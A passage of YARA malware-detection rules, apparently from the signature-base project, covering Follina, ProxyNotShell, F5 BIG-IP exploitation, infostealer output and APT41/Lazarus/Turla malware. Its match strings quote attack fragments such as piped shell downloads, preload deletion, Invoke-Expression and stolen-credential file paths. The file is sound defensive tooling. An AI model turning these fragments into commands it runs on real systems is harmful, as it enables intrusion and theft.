		$x9 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNhMDAyZjAwMmYwM" ascii
		$x10 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzQTAwMkYwMDJGMD" ascii
		$x11 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM0EwMDJGMDAyRjAw" ascii
		$x12 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNBMDAyRjAwMkYwM" ascii
		$x13 = "NjYwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
		$x14 = "Y2MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
		$x15 = "2NjAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
		$x16 = "NjYwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
		$x17 = "Y2MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
		$x18 = "2NjAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
	condition:
		filesize < 10MB and 1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* ) and 1 of ( $x* )
}

rule SIGNATURE_BASE_SUSP_DOC_RTF_Externalresource_EMAIL_Jun22 : CVE_2022_30190 FILE
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation inside e-mail attachment"
		author = "Christian Burkard"
		id = "3ddc838c-8520-5572-9652-8cb823f83e27"
		date = "2022-06-01"
		modified = "2025-03-21"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L194-L220"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "73e76bd80f77640c0d8d47ebb7903eb9cc23336fbe653e7d008cae6a0de7c45b"
		score = 70
		quality = 85
		tags = "CVE-2022-30190, FILE"
	strings:
		$sa1 = "PFJlbGF0aW9uc2hpcH" ascii
		$sa2 = "xSZWxhdGlvbnNoaXBz" ascii
		$sa3 = "8UmVsYXRpb25zaGlwc" ascii
		$sb1 = "VGFyZ2V0TW9kZT0iRXh0ZXJuYWwi" ascii
		$sb2 = "RhcmdldE1vZGU9IkV4dGVybmFsI" ascii
		$sb3 = "UYXJnZXRNb2RlPSJFeHRlcm5hbC" ascii
		$sc1 = "Lmh0bWwhI" ascii
		$sc2 = "5odG1sIS" ascii
		$sc3 = "uaHRtbCEi" ascii
	condition:
		filesize < 400KB and 1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* )
}

rule SIGNATURE_BASE_SUSP_Msdt_Artefact_Jun22_2 : CVE_2022_30190 FILE
{
	meta:
		description = "Detects suspicious pattern in msdt diagnostics log (e.g. CVE-2022-30190 / Follina exploitation)"
		author = "Christian Burkard"
		id = "aa2a4bd7-2094-5652-a088-f58d0c7d3f62"
		date = "2022-06-01"
		modified = "2022-07-29"
		reference = "https://twitter.com/nas_bench/status/1531718490494844928"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L222-L241"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e18f6405f0411128335336e65dda4ed2b6be6e9ad47b94646ececf0479fbe967"
		score = 75
		quality = 85
		tags = "CVE-2022-30190, FILE"
	strings:
		$a1 = "<ScriptError><Data id=\"ScriptName\" name=\"Script\">TS_ProgramCompatibilityWizard.ps1" ascii
		$x1 = "/../../" ascii
		$x2 = "$(Invoke-Expression" ascii
		$x3 = "$(IEX(" ascii nocase
	condition:
		uint32( 0 ) == 0x6D783F3C and $a1 and 1 of ( $x* )
}

rule SIGNATURE_BASE_SUSP_LNK_Follina_Jun22 : CVE_2022_30190 FILE
{
	meta:
		description = "Detects LNK files with suspicious Follina/CVE-2022-30190 strings"
		author = "Paul Hager"
		id = "d331d584-2ab3-5275-b435-6129c7291417"
		date = "2022-06-02"
		modified = "2025-03-21"
		reference = "https://twitter.com/gossithedog/status/1531650897905950727"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L243-L261"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0b63bb266b968987b2b5a83c9429e96acbd57e12178e4f5fd5894b23d1aaa237"
		score = 75
		quality = 85
		tags = "CVE-2022-30190, FILE"
	strings:
		$sa1 = "msdt.exe" ascii wide
		$sa2 = "msdt " ascii wide
		$sa3 = "ms-msdt:" ascii wide
		$sb = "IT_BrowseForFile=" ascii wide
	condition:
		filesize < 5KB and uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and 1 of ( $sa* ) and $sb
}

rule SIGNATURE_BASE_Irontiger_Getpassword_X64 : FILE
{
	meta:
		description = "Iron Tiger Malware - GetPassword x64"
		author = "Cyber Safety Solutions, Trend Micro"
		id = "8f55b23f-52fd-5106-9112-6cffa97269ab"
		date = "2023-01-06"
		modified = "2023-12-05"
		reference = "http://goo.gl/T5fSJC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_irontiger_trendmicro.yar#L101-L119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2adabc629fcd4bc89a015874376daf51b2a367bb13ec25e917e5d899080d8a74"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$str1 = "(LUID ERROR)" wide ascii
		$str2 = "Users\\K8team\\Desktop\\GetPassword" wide ascii
		$str3 = "Debug x64\\GetPassword.pdb" ascii
		$bla1 = "Authentication Package:" wide ascii
		$bla2 = "Authentication Domain:" wide ascii
		$bla3 = "* Password:" wide ascii
		$bla4 = "Primary User:" wide ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( any of ( $str* ) ) or ( all of ( $bla* ) ) )
}

rule SIGNATURE_BASE_Crime_H2Miner_Kinsing : FILE
{
	meta:
		description = "Rule to find Kinsing malware"
		author = "Tony Lambert, Red Canary"
		id = "1cabca0d-7134-517e-b82e-f2b20b4d1c34"
		date = "2020-06-09"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_h2miner_kinsing.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8795f01f4ce85ca37a4e4667a4ee9756dae6af42884cf79830877a5c35a3bd3b"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "-iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT"
		$s2 = "libpcap"
		$s3 = "main.backconnect"
		$s4 = "main.masscan"
		$s5 = "main.checkHealth"
		$s6 = "main.redisBrute"
		$s7 = "ActiveC2CUrl"
		$s8 = "main.RC4"
		$s9 = "main.runTask"
	condition:
		( uint32( 0 ) == 0x464C457F ) and filesize > 1MB and all of them
}

rule SIGNATURE_BASE_MAL_Go_Modbus_Jul24_1 : FILE
{
	meta:
		description = "Detects characteristics reported by Dragos for FrostyGoop ICS malware"
		author = "Florian Roth"
		id = "4a1e6bbe-d743-5394-b207-e417b64fa76d"
		date = "2024-07-23"
		modified = "2024-07-24"
		reference = "https://hub.dragos.com/hubfs/Reports/Dragos-FrostyGoop-ICS-Malware-Intel-Brief-0724_.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_go_modbus.yar#L2-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d992c8159deca0ed2b2a33da3c31fdf0efa9a09ba941d059fa7fc1bad458aed1"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb"
	strings:
		$a1 = "Go build"
		$sa1 = "github.com/rolfl/modbus"
		$sb1 = "main.TaskList.executeCommand"
		$sb2 = "main.TargetList.getTargetIpList"
		$sb3 = "main.TaskList.getTaskIpList"
		$sb4 = "main.CycleInfo" fullword
	condition:
		filesize < 30MB and ( $sa1 and 3 of ( $sb* ) ) or 4 of them
}


rule SIGNATURE_BASE_APT_MAL_RU_Turla_Kazuar_May20_1 : FILE
{
	meta:
		description = "Detects Turla Kazuar malware"
		author = "Florian Roth (Nextron Systems)"
		id = "cd0d1fa2-5303-55f8-90a7-4a699ec79230"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://www.epicturla.com/blog/sysinturla"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_turla_kazuar.yar#L61-L81"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "547ed3cd88057ab91a0804ecf515eacca04fcf6e490aed1ee0f6a26c3d6b8268"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
		hash2 = "1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa"
		hash3 = "2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f"
		hash4 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
	strings:
		$s1 = "Sysinternals" ascii fullword
		$s2 = "Test Copyright" wide fullword
		$op1 = { 0d 01 00 08 34 2e 38 30 2e 30 2e 30 00 00 13 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule SIGNATURE_BASE_SUSP_MAL_EXFIL_Stealer_Output_Characteristics_Sep22_1 : FILE
{
	meta:
		description = "Detects typical stealer output files as created by RedLine or Racoon stealer"
		author = "Florian Roth (Nextron Systems)"
		id = "c1cab3c3-c4f3-5a19-9ea3-9e4242238359"
		date = "2022-09-17"
		modified = "2023-12-05"
		reference = "https://twitter.com/cglyer/status/1570965878480719873"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_stealer_exfil_zip.yar#L2-L30"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "197bb4b837cdd635f9340547b10a90c3a2a17f0113076c5ccbc0a91b7ae18eeb"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "8ce14c6b720281f43c75ce52e23ec13d08e7b2be1c5fbc2d704238f1fdd1a07f"
		hash2 = "011c19d18fa446a2619b3a2512dacb2694e1da99a2c2ea7828769f1373ecd8fe"
		hash3 = "418530bc7210f74ada8e7f16b41ea2033054e99f0c4423ce1d3ebf973c89e3a3"
		hash4 = "aa6e2c8447f66527f9b6f4d54f57edc6cabe56095df94dc0656dca02e11356ab"
		hash5 = "bbfb608061931565debac405ffebe3c4bb5dac8042443fe4e80aa03395955bd2"
		hash6 = "c15107beecf3301fb12d140690034717e16bd5312a746e7ff43a7925e5533260"
	strings:
		$sa1 = "passwords.txt" ascii
		$sa2 = "autofills/" ascii
		$sa3 = "browsers/cookies/" ascii
		$sa4 = "wallets/" ascii
		$sb1 = "Passwords.txt" ascii
		$sb2 = "Autofills/" ascii
		$sb3 = "Browsers/Cookies/" ascii
		$sb4 = "Wallets/" ascii
	condition:
		uint16( 0 ) == 0x4b50 and filesize < 5000KB and ( 2 of ( $sa* ) or 2 of ( $sb* ) )
}

rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_1 : FILE
{
	meta:
		description = "Detects Lazarus VHD Ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "5cb3c136-ec5c-5596-8dcc-e4c6ef33050a"
		date = "2020-10-05"
		modified = "2023-12-05"
		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_vhd_ransomware.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "95c56c5111bb227da8f8a3f8aa4f23e1348bc76ff76a05fc3cae89f9fad1bb52"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
	strings:
		$s1 = "HowToDecrypt.txt" wide fullword
		$s2 = "rsa.cpp" wide fullword
		$s3 = "sc stop \"Microsoft Exchange Compliance Service\"" ascii fullword
		$op1 = { 8b 8d bc fc ff ff 8b 94 bd 34 03 00 00 33 c0 50 }
		$op2 = { 8b 8d 98 f9 ff ff 8d 64 24 00 8b 39 3b bc 85 34 }
		$op3 = { 8b 94 85 34 03 00 00 89 11 40 83 c1 04 3b 06 7c }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them
}

rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_2 : FILE
{
	meta:
		description = "Detects Lazarus VHD Ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "b75668de-93e6-57e7-90f0-fa335295be7c"
		date = "2020-10-05"
		modified = "2023-12-05"
		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_vhd_ransomware.yar#L26-L43"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cf28771a854b3bacc911375c09f6c6bc6ddebff95612a509890c56a5a14e8921"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "097ca829e051a4877bca093cee340180ff5f13a9c266ad4141b0be82aae1a39b"
		hash2 = "73a10be31832c9f1cbbd798590411009da0881592a90feb472e80025dfb0ea79"
	strings:
		$op1 = { f9 36 88 08 8d ad fc ff ff ff 66 ff c1 e9 72 86 }
		$op2 = { c6 c4 58 0f a4 c8 12 8d ad ff ff ff ff 0f b6 44 }
		$op3 = { 88 02 66 c1 f0 54 8d bf fc ff ff ff 0f ba e0 19 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9000KB and all of them
}

rule SIGNATURE_BASE_APT_MAL_CISA_10365227_03_Clientuploader_Dec21 : FILE
{
	meta:
		description = "Detects ClientUploader onedrv"
		author = "CISA Code & Media Analysis"
		id = "4eeadb28-9312-5602-932a-36acb48772f4"
		date = "2021-12-23"
		modified = "2021-12-24"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_stealer_cisa_ar22_277a.yar#L4-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "76f552b2416ae2426b73a321485f34a611c2a3c1ca35791bc9f1834072dc28be"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "84164e1e8074c2565d3cd178babd93694ce54811641a77ffdc8d1084dd468afb"
	strings:
		$s1 = "Decoder2"
		$s2 = "ClientUploader"
		$s3 = "AppDomain"
		$s4 = { 5F 49 73 52 65 70 47 ?? 44 65 63 6F 64 65 72 73 }
		$s5 = "LzmaDecoder"
		$s6 = "$ee1b3f3b-b13c-432e-a461-e52d273896a7"
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_APT_MAL_CISA_10365227_01_APPSTORAGE_Dec21 : APPSTORAGE FILE
{
	meta:
		description = "Detects AppStorage ntstatus msexch samples"
		author = "CISA Code & Media Analysis"
		id = "a44c5609-980f-5961-921c-6b1824cdd49c"
		date = "2021-12-23"
		modified = "2021-12-24"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_stealer_cisa_ar22_277a.yar#L25-L46"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6a46bc4efa1f22d9fc65d946dbaa7b94de6074e65c228373bb6001f152d5b603"
		score = 80
		quality = 85
		tags = "APPSTORAGE, FILE"
		family = "APPSTORAGE"
		hash1 = "157a0ffd18e05bfd90a4ec108e5458cbde01015e3407b3964732c9d4ceb71656"
		hash2 = "30191b3badf3cdbc65d0ffeb68e0f26cef10a41037351b0f562ab52fce7432cc"
	strings:
		$s1 = "026B924DD52F8BE4A3FEE8575DC"
		$s2 = "GetHDDId"
		$s3 = "AppStorage"
		$s4 = "AppDomain"
		$s5 = "$1e3e5580-d264-4c30-89c9-8933c948582c"
		$s6 = "hrjio2mfsdlf235d" wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_APT_MAL_CISA_10365227_02_Clientuploader_Dec21 : FILE
{
	meta:
		description = "Detects ClientUploader_mqsvn"
		author = "CISA Code & Media Analysis"
		id = "84351df9-e225-5c3f-9385-523246681a97"
		date = "2021-12-23"
		modified = "2021-12-24"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_stealer_cisa_ar22_277a.yar#L48-L67"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f9f82b4577568d0bd60bac0d3132ed7ffcb338f508a8689f3126f3d2440432ef"
		score = 80
		quality = 81
		tags = "FILE"
		hash1 = "3585c3136686d7d48e53c21be61bb2908d131cf81b826acf578b67bb9d8e9350"
	strings:
		$s1 = "UploadSmallFileWithStopWatch"
		$s2 = "UploadPartWithStopwatch"
		$s3 = "AppVClient"
		$s4 = "ClientUploader"
		$s5 = { 46 69 6C 65 43 6F 6E 74 61 69 6E 65 72 2E 46 69 6C 65 41 72 63 68 69 76 65 }
		$s6 = { 4F 6E 65 44 72 69 76 65 43 6C 69 65 6E 74 2E 4F 6E 65 44 72 69 76 65 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_1 : CVE_2022_41040 CVE_2022_41082
{
	meta:
		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
		author = "Florian Roth (Nextron Systems)"
		id = "a61f6582-474f-5b6f-b8f5-329c0bcc4017"
		date = "2022-12-22"
		modified = "2023-12-05"
		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxynotshell_owassrf_dec22.yar#L2-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1e8f5a3440f8b4b1850fddbd19f63796ad0f28178c678e9f464b7e4ab5ca944f"
		score = 70
		quality = 85
		tags = "CVE-2022-41040, CVE-2022-41082"
	strings:
		$s1 = "/owa/mastermailbox%40outlook.com/powershell" ascii wide
		$sa1 = " 200 " ascii wide
		$sa2 = " POST " ascii wide
		$fp1 = "ClientInfo" ascii wide fullword
		$fp2 = "Microsoft WinRM Client" ascii wide fullword
		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
	condition:
		all of ( $s* ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_MAL_Payload_F5_BIG_IP_Exploitations_Jul20_1 : CVE_2020_5902 FILE
{
	meta:
		description = "Detects code found in report on exploits against CVE-2020-5902 F5 BIG-IP vulnerability by NCC group"
		author = "Florian Roth (Nextron Systems)"
		id = "57705ba1-c0ad-5ca6-8539-44d9da6b5942"
		date = "2020-06-07"
		modified = "2023-12-05"
		reference = "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_f5_bigip_expl_payloads.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a3651081bb09452d80cba9f673a7b61c8ee2f47a12fb64d975eb63867688ee3b"
		score = 75
		quality = 85
		tags = "CVE-2020-5902, FILE"
	strings:
		$x1 = "rm -f /etc/ld.so.preload" ascii fullword
		$x2 = "echo \"* * * * * $LDR" ascii
		$x3 = ".sh -o /tmp/in.sh" ascii
		$x4 = "chmod a+x /etc/.modules/.tmp" ascii
		$x5 = "chmod +x /var/log/F5-logcheck"
		$s1 = "ulimit -n 65535" ascii fullword
		$s2 = "-s /usr/bin/wget " ascii
		$s3 = ".sh | sh" ascii
	condition:
		filesize < 300KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_APT_APT41_POISONPLUG_3 : FILE
{
	meta:
		description = "Detects APT41 malware POISONPLUG"
		author = "Florian Roth (Nextron Systems)"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
		date = "2019-08-07"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L14-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b74b89ac382b2b839c169cd1388d86888172f133091afd079ec42c9380935fdc"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "70c03ce5c80aca2d35a5555b0532eedede24d4cc6bdb32a2c8f7e630bba5f26e"
	strings:
		$s1 = "Rundll32.exe \"%s\", DisPlay 64" fullword ascii
		$s2 = "tcpview.exe" fullword ascii
		$s3 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" fullword ascii
		$s4 = "AxEeulaVteSgeR" fullword ascii
		$s5 = "%04d-%02d-%02d_%02d-%02d-%02d.dmp" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 3 of them
}


rule SIGNATURE_BASE_APT_APT41_CRACKSHOT : FILE
{
	meta:
		description = "Detects APT41 malware CRACKSHOT"
		author = "Florian Roth (Nextron Systems)"
		id = "4ec34a77-dc7f-5f27-9f0a-c98438389018"
		date = "2019-08-07"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L46-L64"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "70dd9edfc7f9ace7b00a35eb2ef664aa4fbaab8e2d268922d1593074897e769c"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "993d14d00b1463519fea78ca65d8529663f487cd76b67b3fd35440bcdf7a8e31"
	strings:
		$x1 = ";procmon64.exe;netmon.exe;tcpview.exe;MiniSniffer.exe;smsniff.exe" ascii
		$s1 = "RunUrlBinInMem" fullword ascii
		$s2 = "DownRunUrlFile" fullword ascii
		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36" fullword ascii
		$s4 = "%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and ( 1 of ( $x* ) or 2 of them )
}

rule SIGNATURE_BASE_APT_APT41_POISONPLUG_2 : FILE
{
	meta:
		description = "Detects APT41 malware POISONPLUG"
		author = "Florian Roth (Nextron Systems)"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
		date = "2019-08-07"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L66-L82"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f2ec2e91edaaf976169b1fa6645aeae75135e5d5f522e0fda2438f84d674f383"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "0055dfaccc952c99b1171ce431a02abfce5c6f8fb5dc39e4019b624a7d03bfcb"
	strings:
		$s1 = "ma_lockdown_service.dll" fullword wide
		$s2 = "acbde.dll" fullword ascii
		$s3 = "MA lockdown Service" fullword wide
		$s4 = "McAfee Agent" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 11000KB and all of them
}


rule SIGNATURE_BASE_APT_APT41_HIGHNOON : FILE
{
	meta:
		description = "Detects APT41 malware HIGHNOON"
		author = "Florian Roth (Nextron Systems)"
		id = "6611fb04-7237-52d1-b29f-941c3853aeca"
		date = "2019-08-07"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L108-L135"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c8afa91f90157c3ac0f7954cd2d42022392c4e6f039d88d1dd4bace19028c2b1"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
		hash2 = "4aa6970cac04ace4a930de67d4c18106cf4004ba66670cfcdaa77a4c4821a213"
	strings:
		$x1 = "workdll64.dll" fullword ascii
		$s1 = "\\Fonts\\Error.log" ascii
		$s2 = "[%d/%d/%d/%d:%d:%d]" fullword ascii
		$s3 = "work_end" fullword ascii
		$s4 = "work_start" fullword ascii
		$s5 = "\\svchost.exe" ascii
		$s6 = "LoadAppInit_DLLs" fullword ascii
		$s7 = "netsvcs" fullword ascii
		$s8 = "HookAPIs ...PID %d " fullword ascii
		$s9 = "SOFTWARE\\Microsoft\\HTMLHelp" fullword ascii
		$s0 = "DllMain_mem" fullword ascii
		$s10 = "%s\\NtKlRes.dat" fullword ascii
		$s11 = "Global\\%s-%d" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 4 of them )
}



rule SIGNATURE_BASE_APT_APT41_HIGHNOON_BIN_2 : FILE
{
	meta:
		description = "Detects APT41 malware HIGHNOON.BIN"
		author = "Florian Roth (Nextron Systems)"
		id = "37d6a44d-7811-5e87-84e2-b2a8b3da3124"
		date = "2019-08-07"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L182-L200"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1e3d622b4719962f59d95dbf1374c526c22461dd1d9313504f28e8e5c9184272"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
		hash2 = "c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d"
	strings:
		$x1 = "\\Double\\Door_wh\\" ascii
		$x2 = "[Stone] Config --> 2k3 TCP Positive Logout." fullword ascii
		$x3 = "\\RbDoorX64.pdb" ascii
		$x4 = "RbDoor, Version 1.0" fullword wide
		$x5 = "About RbDoor" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule SIGNATURE_BASE_APT_APT41_CN_ELF_Speculoos_Backdoor : FILE
{
	meta:
		description = "Detects Speculoos Backdoor used by APT41"
		author = "Florian Roth (Nextron Systems)"
		id = "efe2b368-33af-5382-a5f0-0e7dd7f4dea4"
		date = "2020-04-14"
		modified = "2023-12-05"
